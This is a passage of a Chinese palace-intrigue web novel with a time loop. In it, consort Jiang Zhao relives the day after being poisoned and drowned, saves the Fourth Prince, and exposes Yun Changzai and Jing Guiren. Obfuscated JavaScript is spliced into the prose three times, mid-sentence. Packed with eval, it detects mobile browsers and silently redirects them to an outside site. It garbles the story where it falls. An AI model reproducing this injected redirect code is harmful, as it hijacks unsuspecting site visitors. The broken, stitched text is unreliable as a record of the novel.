最后的最后,江昭恍惚间想到:怪不得今日的茶水有些苦,加了乌/头/碱,能不苦吗?她心中涌起一丝无奈与愤恨,可恨老天爷给她的机会没有抓住,如今只能含恨而终。或许,这就是她的命吧,无论怎么挣扎,都逃不过这一死。 7. 第三次轮回(一) “娘娘,今日外头阳光明媚、天色晴好,不若去御花园逛逛吧。” 江昭缓缓睁开眼睛,她的视野里一片混乱,眼前的颜色都是一个个色块。头好晕……天旋地转,一切都变得模糊而扭曲。耳边只剩下自己急促的喘息声。 身体的每一寸都像是被烈火炙烤过一般,那火烧般的疼痛如同无数根细针在体内乱刺,让她无法动弹,只能任由痛苦折磨着自己。 她忍不住弯下腰来,双手紧紧地捂住心口,试图缓解这难以忍受的痛苦。然而,那疼痛却丝毫没有减轻,反而像是在体内不断蔓延,让她几乎无法呼吸。她感到一阵阵恶心,胃里翻江倒海,最终忍不住干呕起来,却什么也吐不出来。 江昭在痛苦中挣扎,她的身体不住地发抖,额头上布满了冷汗。她努力让自己保持清醒,但那疼痛却像是要将她的意识也吞噬掉。 她感到有人一左一右扶住了她,那温暖的手驱散了她身上的冷意,给她带来了一丝安全感。有人轻轻拍着她的背,动作温柔,安抚了她那颗狂跳不止的心。 缓了一会儿,疼痛稍稍减弱,江昭的呼吸逐渐平稳下来,世界和声音也渐渐清晰起来。她听到乐雪慌张的声音在耳边响起:“娘娘,这是怎么了?您别吓我……”乐雪的声音带着哭腔,满是担忧和害怕。 江昭抬头,看到乐雪泪眼婆娑地望着她,眼神中满是关切和不安。她微微一笑,声音虚弱却带着一丝安慰:“乐雪,我没事……只是有些难受。”她努力让自己听起来平静一些,尽管身体的疼痛还在持续,但她不想让乐雪更加担心。 乐雪听到这话,眼泪终于忍不住滑落,她紧紧握住江昭的手,声音哽咽:“娘娘,您吓死奴婢了……您可千万不能再吓奴婢了。” 江昭环顾四周,这是……又回到早上了?江昭大喜大悲,情绪起伏不定。她心中感慨又庆幸:老天怜悯!叫她大难不死,重获新生。 又转念思考如何行事:其实这回,只要和上回一样,不去御花园,再小心贤妃的毒茶,就能逃脱死劫。只是,她想到瑾儿,若有机会,她还是想尽力救下那个孩子。不然,贤妃姐姐也太可怜了些……而且,怎知她这样一次一次地轮回,不是苍天有好生之德,想要她救下那个孩子呢? 江昭微微叹气,心中思绪万千。这御花园,看来是躲也躲不掉,还是得走一遭了。她打定主意,去看看到底是谁在装神弄鬼。 只是,去之前,一些叛徒也得处理一下了,免得他们冷不丁跳出来影响了自己的计划。江昭心中发狠。 醉琴道:“奴婢去请裴太医。” 江昭阻拦:“不必了,你去把小安子唤进来。” 醉琴匆匆出了偏厅。江昭又把入画支走,吩咐她去将云岫喊进来。 江昭带着乐雪进了内室,低声道:“乐雪,今日的点心被人下了毒,具体缘由来不及和你多说了。你快去把那些糕点偷偷地埋到墙根去,悄悄地,别叫人瞧见了。” 乐雪听到这话,眼中闪过一丝惊恐,但很快被信任和忠诚所取代。她点了点头:“是,奴婢这就去办。” 不多时,醉琴领着小安子进来了。小安子打了个千儿,恭敬道:“娘娘,有什么吩咐?” 江昭指着醉琴,果断道:“小安子,拿块布,堵上她的嘴,拿住她。” 小安子听到这话,一下子惶恐又犹豫。他踌躇着,结结巴巴道:“娘娘,这……这……醉琴姐姐……” 醉琴一副疑惑又不解的神情看着江昭,嘴唇微动,似乎想说什么,却又不知道该如何开口,只是轻轻唤了一声:“娘娘……” 江昭目光冷峻,语气威严:“她伙同外人,欲害本宫性命。先悄悄关到库房去,等本宫回来再审问。” 小安子面色一凛,“听凭娘娘吩咐”,转身看向醉琴,带着一丝无奈与歉意,道一声:“醉琴姐姐,得罪了。”说罢,上前一步,堵了醉琴的嘴,押了醉琴出去了。 云岫跟着入画走进内室,两人正好与被押走的醉琴擦身而过。醉琴被小安子押着,脚步略显沉重,眼神中带着迷茫与不甘。云岫觑着这一幕,露出几分不安和心虚,似乎意识到事情的严重性。 入画道:“娘娘,云岫带到了。”江昭摆摆手,示意入画先退下。云岫小心翼翼地看着江昭,微微福身,声音带着一丝怯懦:“娘娘万安。” 江昭失望与愤怒交加,冷笑骂道:“有尔等歹人在侧,本宫如何万安?蠢货,你可知你父母在江家都好好的,你被静贵人利用了!你如此轻信他人,险些害死本宫!” 江昭的每一个字都重重地砸在云岫的心上,云岫一下子抬起头来,只觉得认知一下子被颠覆了,脑子乱的和浆糊似的。她嘴唇微微颤抖,似乎想辩解什么,却又组织不好语言,“娘娘,不是的,奴婢……奴婢没有……” 江昭斥责道:“本宫如今有要事,你且好好思量!本宫可以安排你的家人与你宫门相见,你若要修书一封给家人亦可。动动你的脑子,想想江家作甚要害你的家人!” 江昭来不及多说什么,立即带着乐雪,脚步匆匆地往御花园去了。方才没花多长时间,如今应该还来得及。 一路紧赶慢赶到了御花园,瞧着四下无人,江昭心中一紧。又赶忙往水边去,万幸万幸,四皇子还活生生地在那里。只见四皇子独自在荷塘边,正蹲下身子,专注地摆弄着荷叶,又去瞧那几尾胖乎乎却灵动的锦鲤,完全沉浸在自己的世界里,浑然不知周围的一切。 “瑾儿!”江昭后怕不已,匆匆走上前,一把将谢文瑾抱进怀里,“你吓坏额娘了。” 见着江昭,谢文瑾开心得溢于言表,整个人仿佛都在冒花花。他眼睛亮晶晶的,脆生生唤道:“明额娘!儿臣好想你!” 江昭摸摸他的小脑袋,这孩子,真是让人怎么都喜欢不够,“额娘也想你”,她的眼神扫过四周,确认周围确实没有其他人在场,关切道:“怎么一个人都没有,你的侍从呢?” 谢文瑾神色稚嫩却认真:“明额娘别怪他们,我想给额娘摘莲子,叫他们找船和工具去了。” 莲子?第一回她给瑾儿菱角糕的时候,那时瑾儿还没有想去池塘边,更没有说起想摘莲子。如今什么工具也没有,明显是临时起意。贤妃不可能让儿子一个人待在池塘边,必是嘱托过这些奴才,这些奴才却走了个精光。结合此前种种,恐怕,四皇子和她一样,身边也被安插了奸细! 江昭心中思绪如闪电般飞速转动,她渐渐理清了整个事件的脉络,眼中闪过一丝冷冽的光芒。这分明是一场精心策划的阴谋,奸细里应外合,定是等凶手布置好一切后,商议好今天劝她和四皇子来御花园,又在她的糕点中下毒。 她耽误了一会儿,没去御花园,菱角糕的毒计用不上了。于是,奸细便改劝四皇子去摘莲子,再将四皇子推入水中淹死,最后将她的玉佩塞在四皇子手中,制造出她害死四皇子的假象。 她即便不去御花园,也可能吃了菱角糕暴毙,纵使侥幸没吃,玉佩证据指向她,又有贴身婢女的证词,她怎么也逃不脱众人的怀疑,真是好手段!好歹毒的心思! 江昭不动声色,柔和问道:“怎么突然想吃莲子了?” 谢文瑾仰着头,看着江昭温柔的神色,有点害羞:“朝露姐姐说,额娘近日神思倦怠,怎么都睡不好。我身为人子,合该为母分忧。莲子能养心安神,亲手摘的更是纯挚。朝露姐姐说,不能告诉额娘,免得额娘担心。明额娘,我偷偷和你说,你别告诉额娘,额娘知道,该不许了。” 江昭暗恨:该死的奴才,面上却不露出半分。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118398|180024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她蹲下身子,目光和谢文瑾齐平,微微摇头,不赞同道:“君子不立危墙之下。额娘知道你的心是好的。只是瑾儿,这些事,自有下人去做,万万不要把自己处于危险之中,你不会凫水,若出了什么事,叫我和你额娘怎么是好?” 谢文瑾见着江昭的泪意,有些后悔,小手轻轻擦去江昭的眼泪,安慰道:“明额娘别担心,我虽不会凫水,但朝露姐姐她们会保护我的!” 江昭轻轻握住谢文瑾的小手,道:“傻瑾儿,谁都靠不住,哪怕是你皇阿玛也靠不住。这天下,唯一相信的只有你额娘和你自己。在这宫里,首先要保重自身。答应额娘,千万不要把自己陷于险境中了,好不好?” 谢文瑾似是听进心里了,郑重应是,“额娘,我记住了。” “哟,明嫔和四皇子都在啊,真是好雅兴”,云常在带着两个宫女和两个太监慢悠悠地走来,敷衍行了一礼,“给明嫔娘娘请安。” 谢文瑾抬头,神色有些好奇,江昭介绍,“这是云常在”,谢文瑾乖巧行礼,“云常在安好。” 荷塘边的景色格外宜人,微风拂过,荷叶轻轻摇曳,发出沙沙的声响,几朵荷花在阳光下绽放,显得格外明艳。正是一片天朗气清,宁静悠闲之景。在这景致旁,胸怀也不由得开阔起来,江昭和云常在也不似从前剑拔弩张,共赏起这美景来。身处这美景中,仿佛连时间都慢了下来。 然而,这份宁静却很快被打破。云常在突然眼神一凛,嘴角勾起一丝阴冷的笑意,猛地冲上前去,一把抓住四皇子的衣领,用力将他推入了荷塘之中。一下子水花四溅,谢文瑾惊恐地挣扎着,发出慌张的呼救声:“额娘……救我!” “瑾儿!”,江昭不意云常在有如此举动,阻拦不及,面色大变,惊呼道:“你疯了吗?住手!”她本能地想要冲上前去救四皇子,却被云常在带来的人迅速围住、抓住。 乐雪也急得满脸通红,她试图挣脱宫人的钳制,冲向荷塘,却被一个力气十足的太监紧紧抓住,动弹不得。 江昭怒喝道:“放开我!快去救四皇子!谁给你们的胆子?那是皇子啊!你们是要被抄家灭族的啊!”她的声音颤抖又急切,但云常在却冷笑着说道:“我是疯了。不成功,便成仁!不止他,你也得死!”云常在的目光中透着几分狠毒与决绝,她挥了挥手,示意宫女和太监将江昭和乐雪制服:“给我摁住她们,淹死她们!” 两个宫女一左一右抓住江昭的胳膊,用力将她按倒在地,她的头被强行压入水中。江昭拼命挣扎,但她一个人哪里敌得过两个人的力量,根本无法挣脱。她的身体在水中剧烈地扭动,口中发出微弱的呛水声,但很快就被水淹没。 乐雪也被两个太监紧紧抓住,她的身体被按入水中,无法呼吸。她拼命挣扎,但太监的力气太大,箍住他双臂的手坚如磐石,那点反抗根本起不了什么作用。 与此同时,四皇子在水中拼命挣扎,他的小手乱抓,试图抓住什么可以救命的东西,但荷叶太柔软了。他的头不时露出水面,发出微弱的呼救声,但很快又被水淹没。他的眼神中透着绝望和恐惧,小小的身体在水中逐渐失去了力气。 江昭在水中挣扎了许久,终究无力回天。她的意识逐渐模糊,眼前的一切都变得黑暗起来。她心中充满了不甘和绝望,但最终还是被黑暗吞噬。 云常在站在一旁,冷酷地看着这一切,眼中没有一丝同情,仿佛这一切都与她无关。她低声说道:“与本小主作对的,都是这个下场。” 最终,江昭、乐雪和四皇子都被淹死在荷塘之中,水面上只留下一圈圈渐渐扩散开来的涟漪,仿佛什么都没发生过。 一片寂静,草丛中却突然传来一阵簌簌的声音,云常在一下子警觉起来,眼神锐利,厉声喝道:“谁?!出来!” 8. 第四次轮回(一) 只见和常在颤颤巍巍地从树后走了出来,被这喝问吓得浑身一颤,她紧紧地抓住身边的婢女,声音颤抖:“我什么都没看到,我什么都没看到……”,她的眼神中满是惊恐和不安,生怕自己也会被卷入这场灾难之中。 见着是和常在,云常在嘴角微微翘起。她快步走来,心里暗道:真是天助我也。本来这事情还没法收场,瞧瞧,这替罪羊不来了吗?还好是和常在,若是别人,还不好办了。 她走到和常在面前,语气中带着几分严厉和审视,逼问道:“和常在,你在这里做什么?难道没看见刚才发生了什么吗?” 和常在面色仓皇,结结巴巴道:“我……我就是一时兴起,来赏个景,刚才发生什么了吗?” 云常在嗤笑一声,“别揣着明白装糊涂了,咱们明人不说暗话”,她眼神中带着一丝威胁和警告:“和常在,你可别忘了,太后对你的恩情。我可是为了静贵人效力,若你说出去了此事,供出了我,仔细你和你全家的命!你好好想想太后会不会放过你!此事,天知、地知、你知、我知啊。”她不屑一顾地睨着和常在,仿佛在提醒和常在,她手中握着和常在的生死。 说罢,云常在转身扬长而去,暗暗思量着,如何把此事栽赃到和常在身上,将自己彻底摘干净。 ———— 天光大亮。 江昭本能地大口喘气,每一次呼吸都在贪婪地吞噬着空气。 她剧烈地咳嗽着,好像要咳出肺中的积水。 她的眼中闪过一丝泪光。身体不由自主地颤抖,刚刚的恐惧还深入骨髓,如影随形。 江昭感觉身旁有人温柔地伸出手要扶住她,然而,她像是被触到了最敏感的神经,一下子炸了毛,猛地拂开了那双手,躲了开来。她的眼泪瞬间涌了出来,反应极大,声音中带着莫大的惊恐:“别碰我!” 江昭先前被人那般对待,那种蚍蜉撼大树般无能为力的感觉让她害怕极了。她再也坚持不住,一下子被击退了心防。她的神经本就一直紧绷,敏感地摇摇欲坠,如今瞬间崩溃。她像一只打湿了毛的猫,在瓢泼大雨中淋了好久,却无人诉说,无人相助。她的眼中满是无助和绝望,泪水无声地滑落,浸湿了她的衣襟。 她形销骨立,好像一件精美的瓷器,却已然支离破碎。在这无尽的黑暗中,她艰难地抬起头,目光在周围搜寻着熟悉的身影。当她看到乐雪时,眼中闪过一丝微弱的光芒,仿佛在黑暗中找到了一丝光亮,得到了一丝力量。她颤抖着伸出手,抓住乐雪的手,温热的……江昭才有了一丝真实感。她的声音微弱而颤抖,带着一丝不确定,向乐雪求证:“我……我还活着。” 乐雪眼中闪过一丝心疼,她紧紧攥住江昭的手,好像想把勇气传递给江昭:“娘娘,奴婢在这里,娘娘别怕,奴婢誓死保护娘娘。” 紧接着,乐雪毫不犹豫地抱住江昭,哽咽道:“娘娘!娘娘!奴婢也回来了,奴婢也没死。娘娘别怕,奴婢陪着娘娘。” 江昭闻言,心中一惊,她紧紧地抱住乐雪,仿佛那是她唯一的依靠。她的声音带着一丝哭腔:“我……我以为我再也见不到你了。” 随着时间的推移,江昭的身体在颤抖中渐渐放松,呼吸也逐渐平稳下来。她缓缓放开乐雪,深吸一口气,努力让自己平静下来,环顾众人,轻声道:“我没事了,只是……只是一下子魇住了。吓到你们了吧,是本宫失态了。” 入画担忧道:“娘娘没事就好。” 醉琴道:“奴婢去请裴太医来给娘娘看一看吧。” 江昭阻拦:“不必了。”她冷静下来思考:如今看来她又一次轮回了,苍天垂怜,乐雪竟和她一起轮回了,她终于不用孤身一人,在一次又一次轮回里挣扎求生。想想前三次的惨死,江昭恨意满盈:云常在,静贵人,此仇,必报! 时间仓促,四皇子那边云常在正虎视眈眈,一刻也耽误不得。江昭当机立断,先如同上一回一般,迅速处置了醉琴、云岫。 接着,江昭迅速安排下一步行动。她唤来烟岚,快速吩咐:“烟岚,你立即去寻贤妃,告诉她云常在欲害四皇子性命,朝露是奸细,请她速来御花园。”烟岚闻言,郑重应下,转身匆匆离去。 紧接着,江昭同样急切吩咐乐雪道:“乐雪,你速去寻皇上,将此事一五一十地禀告给皇上,让他知晓云常在的阴谋。”乐雪也立刻应命,快步离开。 安排好这一切后,江昭带着小安子、小福子、入画、轻罗等人,浩浩荡荡地往御花园赶去。一路上,众人脚步匆匆,神色凝重,都知道此行的紧迫与重要。江昭心中更是如火烧般焦急,她必须赶在云常在之前到达御花园,阻止她的阴谋,保护四皇子的安全。 江昭一进入御花园,眼前的情景让她心如刀绞。只见四皇子已在水里挣扎,气息奄奄,小小的身体在水中无力地扑腾。江昭的心猛地一沉,她厉声喝止云常在:“云常在,住手!” 岸边的所有人都被这突如其来的喝声惊到,纷纷转头看来。云常在带来的宫女和太监们大惊失色,不敢相信眼前发生的一切,感觉自己的命运已然注定。云常在也被这突如其来的变故吓了一跳,她微微一顿,眼神中闪过一丝慌乱,手中紧紧攥着一块玉佩。 江昭没有丝毫犹豫,迅速冲向荷塘边,同时大声呼喊:“小安子,快去救四皇子!” 小安子立马反应过来,毫不犹豫地跳入水中,朝四皇子游去。小福子、入画、轻罗等人则护卫在江昭身边,提防着云常在的一举一动。江昭站在荷塘边,焦急地望着水中的一切,心中默默祈祷四皇子能够平安无事。 不一会儿,小安子将四皇子从水中救起,小心翼翼地将他放在岸边。四皇子的脸色苍白,呼吸微弱,幸而还有气息。江昭立刻蹲下身子,心疼地抚一抚他的发丝,轻声呼唤:“瑾儿,瑾儿,醒醒,额娘在这里。” 四皇子缓缓睁开眼睛,看到江昭,眼中闪过惊喜和安心,他声音微弱,委屈唤道:“额娘……” 江昭紧紧抱住四皇子,轻声安抚道:“瑾儿,别怕,有额娘在,没人能伤害你。额娘一定为你做主。” 她抬起头,目光如刀般盯着云常在,冷声道:“云常在,你竟敢如此歹毒,光天化日之下,谋害四皇子。今日之事,本宫绝不会放过你!” 云常在目睹这一切,气急败坏,眼中带着一抹惊恐和不甘。她看着江昭,不服道:“江昭,你别得意,事情还没完……” 江昭不屑道:“云常在,你的阴谋已然败露,皇上自会给你定罪。”她的目光扫过在场的所有人,声音中带着一丝威严:“今日之事,本宫会如实禀告皇上。本宫劝尔等如实交代,或许还能留得一条命在。如有谁敢包庇云常在,本宫绝不轻饶!” 在场的众人纷纷低下头,不敢与江昭对视。他们都知道,四皇子未死,云常在的阴谋已经彻底失败。 就在这时,远处传来一阵急促的脚步声,紧接着,贤妃和皇帝带着一众宫人和侍卫的身影匆匆出现。贤妃的脸上满是急切和担忧,而皇帝则不辨喜怒、严肃不已。他们的目光在众人之间扫过,最终落在江昭怀里的四皇子身上。 四皇子被救起后,衣衫湿透,狼狈贴在身上,显得他格外单薄。他的头发也湿漉漉地滴着水。小脸被水气熏得有些发白,嘴唇微微发紫,显然是被水浸泡得有些寒意。他紧紧抓住江昭的衣襟,眼神中带着依赖,不时抬头看看江昭,似是在寻求 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118399|180024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一丝安宁。 贤妃快步走来,声音颤抖:“怎么回事?瑾儿这是……朝露呢?朝露人在何处?”四皇子被江昭紧紧抱在怀里,身体微微颤抖,显得有些虚弱。贤妃紧张道:“瑾儿,你怎么样了?告诉额娘,有没有哪里不舒服?” 四皇子看着贤妃焦急的神色,懂事道:“额娘,我没事,你别担心。”贤妃几欲落泪,泪水在眼眶中打转,却强忍着没有落下。她吩咐木樨和玉兰道:“快去取干衣服,传轿辇来。请裴太医到永安宫去。” 皇帝也大步走来,面色沉沉,先瞧了四皇子虚弱的模样,心头怒极,抬手便是一记耳光,狠狠地打在云常在的脸上,“贱妇,焉敢谋害皇子!” 云常在躲都不敢躲,被打得一个趔趄,她的脸颊瞬间红肿起来。她跪在地上,哭诉道:“嫔妾冤枉!皇上,这都是误会……实在是四皇子贪玩想去摘莲子,不料失足掉进了荷塘里,不关嫔妾的事啊,您借嫔妾几个胆子,嫔妾也不敢谋害皇子啊。” 皇帝冷冷地看着她:“误会?你以为朕会相信你的鬼话?纵使与你无关,你也责无旁贷!为何你不救四皇子,就这么眼睁睁看着!你的宫人都是摆设吗?见着皇子落水,就傻愣愣杵着、毫无作为吗!你这毒妇!” 江昭幽幽道:“想必他们听从云常在吩咐,唯云常在是从。” 皇帝挥手,“来人,把她的宫人都拖去慎刑司,严加审问,务必给朕吐出实话来!” 云常在急急阻拦:“皇上,不关他们的事啊!饶了嫔妾的宫人吧!嫔妾刚到御花园不久,嫔妾到时,四皇子已然被救起了啊,并非嫔妾袖手旁观啊!” 江昭道:“你撒谎!你推四皇子入水,企图溺死皇子在先,撒谎狡辩妄图逃脱罪名在后,众人皆有目共睹!若是本宫迟来一步,便要叫你得逞了!” 入画微微屈膝,道:“奴婢可以作证。” 宫人带着干衣服和轿辇赶来,四皇子被抱上车前弱弱,委屈哭道:“皇阿玛!是……是云常在推我入水,她还在岸上冷漠地看着,皇阿玛,你要为我做主!” 宫人带着干衣服和轿辇匆匆赶来,小心翼翼地准备将四皇子抱上轿辇。他却不肯上轿辇,小手紧紧地攥着皇帝的衣服下摆,小脸含泪,委屈大哭:“皇阿玛!云常在……云常在不知道为什么要推儿子入水,我看到她……还一直在岸上冷漠地看着,根本不顾我的求救,我好怕!我好怕!皇阿玛救我!” 四皇子说得断断续续,时不时地哽咽,显得格外可怜。皇帝听到他的话,眼神中闪过一丝心疼和愤怒。皇帝轻轻摸摸他的脑袋,“不怕,阿玛会为你做主,阿玛派人守着你,没人敢害你。”挥手示意小竹子:“你,跟着去,务必让瑾儿安心休息。让伺候的太医迟些来回话。” 目送四皇子的轿辇离开后,皇帝面色铁青,看向云常在的目光寒光毕现,好像要将她千刀万剐,看得她触目惊心,“云常在,你还有何话说?”云常在抖若筛糠:“皇上,嫔妾……嫔妾冤枉……” “你的意思是四皇子冤枉你不成?他才六岁,怎么会撒谎?”皇帝一字一句掷地有声,每一个字都重重地敲打在在场众人的心上:“好个云、常、在,竟把朕当做傻子,把满宫的人都当做傻子不成!连幼子都忍心下手,真真是不堪为人!传朕旨意,温家抄家斩首。云常在温氏,阴鸷狠戾,残害皇嗣,褫夺封号,贬为庶人。温氏及其宫人乱棍打死,叫满宫中人都来观刑!谋害皇子的下场,便是如此!” 云常在,如今是温庶人了,她失魂落魄地跪在地上。她脸色苍白如纸,俯首道:“皇上!嫔妾认罪!嫔妾心肠歹毒,嫔妾不是个东西,但温家无辜啊,嫔妾求求您!嫔妾求求您了!求您收回成命!” 9. 第四次轮回(二) 皇后原本抱病,听闻御花园发生之事,匆匆赶来,愧疚自责道:“臣妾失职,不曾管理好后宫,竟让如此恶劣之事发生,害得宫中人心惶惶。臣妾罪该万死,请皇上降罪。” 皇帝叫起,到底给了皇后面子:“你本就病了,不必过于自责。云常在狂悖失常,光天化日之谋害皇子,实属大逆不道。此事非你之责。” 皇后抬起头,眼神中透着一丝坚定:“皇上,臣妾身为皇后,理应管理好后宫。如今出了这样的事,臣妾难辞其咎,有负皇上所托。这样,臣妾那里还有些上好的人参和血燕,就赐给贤妃和四皇子,以作抚慰吧。” 皇帝微微点头:“合该如此,常福全,你去将库里的冬虫夏草、阿胶和鹿茸取来,赏给贤妃和四皇子。”常福全称是,派徒弟一溜烟去了。 贤妃福身:“臣妾谢过皇上皇后。”贤妃担忧孩子,本该跟着一起回去,但一想到云常在尚未伏法,便无法安心,故一直留在现场,看着皇上对云常在的处置。 江昭暗忖:温蕊终于得到了应有的代价,只是静贵人还隐在幕后,没有得到应有的代价。温蕊只是一个棋子,静贵人……咱们还没完呢! 江昭看向贤妃,嘴唇微动,偷偷做了个“朝露”的口型,贤妃心领神会,严肃道:“皇上,臣妾来时,发现瑾儿身边的宫人竟一个都不见。如此紧要关头,偏偏玩忽职守,实在是大有蹊跷。” 皇帝闻言,眼神一沉,回忆起当时情形,目露寒意,道:“不错,果然如此。”目光随即转向常福全。常福全颔首,不动声色挥手示意手下,悄然派人去寻了。 贤妃继续说道:“不怪臣妾疑心,只是瑾儿此番险些离臣妾而去,臣妾实在难以承受。若没了瑾儿,要臣妾怎么活呢?臣妾想想便后怕不已。皇上与臣妾来了这样久,可到现在瑾儿的宫人都人影全无,让臣妾怎能不多想呢?” 贤妃铺垫许多,渐入正题,她目光沉凝,余光瞥向温蕊,幽幽道:“温庶人……一向唯静贵人马首是瞻。她进宫不过短短数月,怎么有胆子谋害皇子?又怎么有本事买通臣妾那么多宫人,调离皇子身边?” 说罢,凉凉看向温蕊,“温庶人,本宫只问你一遍,可有人指使你吗?你若能坦白交代,供出幕后主使,本宫可以向皇上求情,或许能饶你族人一命。” 温蕊面色迷惘,低头沉吟。须臾,她缓缓道:“嫔妾愿意如实交代,只求皇上放过我的亲族。是……静贵人,她一直嫉妒江昭。她说,她与皇上自小便认识了,情义深重,那些潜邸的老人也就罢了,新人中,凭什么在皇上心里她还比不过江昭。凭什么江昭是一宫主位,她却只是一个小小的贵人。又恨贤妃与江昭结党,所以想要害死四皇子,嫁祸给江昭,一石二鸟。” 温蕊叩了个头,又道:“嫔妾所言,句句属实。皇上请看,这是明嫔的玉佩,正是静贵人让嫔妾溺死四皇子后,塞进四皇子手里的。” 皇帝接过来看了看,心中已有了计较,又递给江昭,江昭接过来仔细瞧了憔,假意震惊道:“皇上,这玉佩确是臣妾的无疑,不过已于日前丢失,不想竟在温庶人手上。” 皇帝面有薄怒:付璃……太后……竟将朕的后宫,玩弄于股掌之间,“来人,传静贵人。”自有小太监应声去了。 江昭哀哀看向皇帝:“皇上,臣妾自入宫以来,待各位姐妹一向诚挚,不知何时得罪了静贵人,竟叫她恨臣妾入骨,欲置臣妾于死地。可怜宁姐姐,只是与臣妾交好,却被如此连累。” 皇帝自是好一番安慰,“朕知道你的为人。” 不多时,朝露等人被押了过来。瞧见这边情形,便知事情败露,大势已去,皆露出颓然的神色。朝露看向贤妃,缩了缩脖子,缄默不言。 皇帝看也不看,有些疲惫道:“押下去,仔细审了,务必撬开他们的嘴。换一批好的去伺候四皇子。”朝露等人闻言,面露祈求之色,垂死挣扎,正要大喊皇上饶命,早有机灵的小太监们拿布堵了他们的嘴,将他们快步押走。 御花园中阳光明媚,荷叶迎风摇曳,本是一派生机盎然的景象。此时却气氛沉沉,一片寂静,众人皆相顾无言,都在默默等待着静贵人到来。 贤妃瞧见江昭给她递的眼色,微微点头。见着时机适宜,将话题不动声色引到江昭身上。她做出感怀的模样,“臣妾深谢皇上,为瑾儿做主。臣妾苦命的儿啊,好不容易养到六岁……不知碍了谁的眼,要遭此大难,若非昭妹妹,瑾儿哪里留得命在?” 江昭默契安抚道:“姐姐……皇上深明大义,必定让真凶伏法,我们都会没事的。” 处置了凶手,安抚好贤妃后,皇帝这才想到功臣江昭,他的目光转到江昭身上,欣慰道:“明嫔,今日多亏你及时赶到。此事,你居功甚伟,朕定会重重赏赐。” 江昭抿嘴浅笑,谦逊道:“皇上过奖,臣妾只是做了该做的事。四皇子是皇上的骨肉,保护他的安全是臣妾的职责。”皇帝神色更满意了,“你总是这么懂事。” 江昭说罢,微微一顿,好像有些犯难道:“只是,臣妾惶恐,有一事本不好麻烦皇上,只是臣妾实在害怕,恳请皇上做主!”皇帝道,“你且说来。”江昭拿出绢帕擦拭眼泪:“臣妾的宫女云岫一早鬼鬼祟祟的,好像做了什么见不得人的事情一样,臣妾便起了疑心,仔细一查早膳的糕点竟被她买通御膳房的小顺子下了毒。皇上!臣妾今日,险些见不到皇上了!” “放肆!宫妃害皇子,宫女害主子,朕的后宫,何时乱成这般模样?是不是什么时候,还要来害朕了!”皇帝眼中闪过冷意,面如寒霜。 众人皆俯首,“皇上息怒。”皇后请罪道:“臣妾失职,定会查明真相,严惩不贷,以肃宫中不正之风。” 皇帝面色不虞:“皇后,后宫之事由你掌管,如今却连御膳房这样的地方,也被人伸了手进去,你是该好好整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118400|180024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 治一番了。” 皇后敛眉福身:“臣妾遵旨。” 江昭给乐雪使了个眼色,乐雪会意,立即上前一步,愤慨道:“皇上,宫女怎么有胆子谋害主子?这分明是有人指使!” 江昭垂眸:“臣妾不敢妄言,只是,云岫交代说是……静贵人指使她做的。因涉及静贵人妹妹,臣妾不敢擅自揣测,只得如实禀告皇上,请皇上示下。” 皇后皱眉,面露不快:这一个两个的,都越过自己,找皇帝做主,将她置于何地?她身为皇后,还得被皇帝责备,威严何在?今日四皇子落水,也无人来报她,还是她后来通过眼线得了消息,才巴巴地赶来。贤妃,明嫔,真是好得很! 因着众人听闻江昭所言,都神色不好,皇后的表情倒也不显突兀。 乐雪道:“皇上,求您为我们娘娘做主啊,娘娘差点就没命了!” 皇帝道:“常福全,你亲自带人去审了云岫和小顺子,让他们给朕一五一十地招来。”常总管知道皇帝这是动了大怒了,忙不迭地去了,暗道:不怪皇帝生气,静贵人也太猖狂了些,两件事都直指静贵人,静贵人此番……怕是不成了。 在自己宫里的江萤悄悄打听得消息,震惊得溢于言表:“果真么?点心下剧毒,溺死皇子,玉佩陷害,竟还差点成功了?真是好大的胆子……本宫最嚣张的时候,也不及她万分之一。” 又急忙嘱托婢女,“金盏,了不得了,以后本宫的膳食,千万都要细细验过。” 摸摸心口,又吐槽道:“这宫里,竟出了这样一个人物!真是闻所未闻,见所未见。本宫嫁给皇上这么久了,向来这宫里害人,都是暗着来,杀人不见血,润物无声,天长地久的。叫人死都不知道怎么死的,不知道自己什么时候就中了招。没想到静贵人和云常在是反着来,真刀真枪,明火执仗的,刀刀见血,吓死本宫了。从前我瞧着这两个人倒是嚣张没头脑的样子,真是不鸣则已,一鸣惊人。” 江萤“啧啧”一声,总结道:“太后侄女,和旁人真是太不一样了。也不知太后知不知情,有没有参与其中呢。” 